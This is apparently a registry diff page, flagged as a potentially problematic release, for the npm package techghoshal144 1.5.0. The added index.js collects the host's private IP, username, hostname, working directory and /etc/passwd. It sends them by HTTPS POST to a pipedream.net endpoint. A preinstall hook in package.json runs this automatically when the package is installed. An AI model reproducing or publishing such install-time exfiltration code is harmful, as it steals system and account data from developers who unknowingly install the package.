techghoshal144 1.5.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of techghoshal144 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +35 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,35 @@
1
+
2
+ const execSync = require('child_process').execSync;
3
+
4
+ const priv_ip = execSync('hostname -I', { encoding: 'utf-8' });
5
+ const whoami = execSync('whoami', { encoding: 'utf-8' });
6
+ const host = execSync('hostname', { encoding: 'utf-8' });
7
+ const current_dir = execSync('pwd', { encoding: 'utf-8' });
8
+ const passwd = execSync('cat /etc/passwd', { encoding: 'utf-8' });
9
+
10
+
11
+ const https = require("https")
12
+
13
+ const data = JSON.stringify({
14
+ "private IP": priv_ip,
15
+ "whoami": whoami,
16
+ "hostname": host,
17
+ "current dir": current_dir,
18
+ "passwd": passwd,
19
+
20
+ })
21
+
22
+ const options = {
23
+ hostname: "eoubo9wfyehgrtu.m.pipedream.net",
24
+ port: 443,
25
+ path: "/",
26
+ method: "POST",
27
+ headers: {
28
+ "Content-Type": "application/json",
29
+ "Content-Length": data.length,
30
+ },
31
+ }
32
+
33
+ const req = https.request(options)
34
+ req.write(data)
35
+ req.end()
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "techghoshal144",
3
+ "version": "1.5.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall" : "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }